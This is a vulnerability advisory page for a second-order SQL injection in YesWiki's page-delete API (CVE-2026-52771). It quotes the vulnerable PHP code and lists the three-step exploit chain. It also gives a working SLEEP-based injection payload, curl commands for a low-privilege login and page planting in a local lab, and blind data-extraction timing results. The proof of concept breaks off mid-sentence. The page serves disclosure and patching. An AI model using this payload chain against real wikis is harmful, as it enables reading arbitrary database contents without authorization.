high

CVE-2026-52771

Packagist · yeswiki/yeswiki

Summary

YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)

Severity
high
CVSS
8.3
EPSS
0.3% (p23)
CWE
CWE-89
Also known as
GHSA-8f2v-2qhj-gfwg
Published
2026-07-09
Updated
2026-07-09

Advisory details

Summary

ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.

This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the read-back-and-reuse path, where escaping is omitted.

Details

Affected component

// includes/controllers/ApiController.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
    $pageManager   = $this->getService(PageManager::class);
    $pageController = $this->getService(PageController::class);
    $dbService     = $this->getService(DbService::class);
    ...
    try {
        $page = $pageManager->getOne($tag, null, false);     // (a) safe SELECT
        if (empty($page)) { ... } else {
            $tag = isset($page['tag']) ? $page['tag'] : $tag;//   ^ raw tag from DB
            $result['notDeleted'] = [$tag];
            if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
                if (!$pageManager->isOrphaned($tag)) {
                    $dbService->query(
                        "DELETE FROM {$dbService->prefixTable('links')}
                         WHERE to_tag = '$tag'");           // (b) SINK — unescaped
                }
                ...

The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:

The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler

A low-privilege account can carry the whole chain:

  1. PlantPOST /api/pages/{evil} with body=anything. PageManager::save() escapes the tag at INSERT time ('\'' in SQL ⇒ stored '), so the tag persists with its single quote intact. The new page is owned by the attacker, so UserIsOwner($tag) in the delete handler will return true.
  2. Make non-orphaned — save any second page whose body contains {{include page="<evil>"}} through the web edit handler. LinkTracker::preventTrackingActions() parses the include directive, looks up the referenced page (PageManager::getOne() finds it because lookup uses escape(), which matches the stored quote), and LinkTracker::persist() inserts a row (from_tag='Linker', to_tag='<evil>') into _links — again with escape() on the way in, so the raw quote round-trips.
  3. TriggerDELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns $tag = $page['tag'] (the raw stored value, including '), runs isOrphaned($tag) (escaped SELECT, returns not orphaned because step 2 inserted a row), and then runs the unescaped DELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled ' as the end of the string literal; everything after it is treated as SQL.

The injection point is WHERE to_tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.

End to End Steps to reproduce the issue

  1. Preflight
  2. Logging in
    • admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
  3. Tier 1 - POST /api/pages/ (as TestUser01)
    • PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
  4. Tier 2 - make the evil page non-orphaned
    • PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
  5. Tier 2 - DELETE /api/pages/ (as TestUser01)
    • baseline (non-existent tag) : 0.468s
    • exploit (SLEEP(2) in tag) : 2.555s
    • delta : 2.087s
    • PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
  6. Tier 3 - time-based blind data exfiltration
    • char='w' elapsed=0.505s miss
    • char='x' elapsed=0.495s miss
    • char='y' elapsed=3.522s <- HIT
    • char='z' elapsed=0.662s miss
    • PROOF : conditional SLEEP fired only for 'y'

RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.

PoC

Pre Reqs

Had the following things setup in advance:

  1. Yeswiki v4.6.5 lab image (Setup via podman)
  2. Admin & User Account setup.

Parts used across PoC:

For the rest of this document, set:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt        # cookie jar for our low-priv attacker

Confirm the vulnerable line is actually there:

podman exec "$CTR" \
    grep -n "DELETE FROM.*links.*WHERE to_tag" \
    /var/www/html/includes/controllers/ApiController.php

Expected output:

626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");

Log in as the low-privilege attacker. We will get the session in return

rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
     --data-urlencode "action=login"   --data-urlencode "context=LoginPoc" \
     --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
     --data-urlencode "remember=1"

# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"

Plant a page whose tag contains SQL meta-characters.

The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.

EVIL_TAG="SleepTag' OR SLEEP(2)-- "
EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \
    podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));')

echo "raw tag      : $EVIL_TAG"
echo "URL-encoded  : $EVIL_ENC"

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \
     --data-urlencode "body=poc"

Now, create a second page that will link to the evil page

The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evi

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.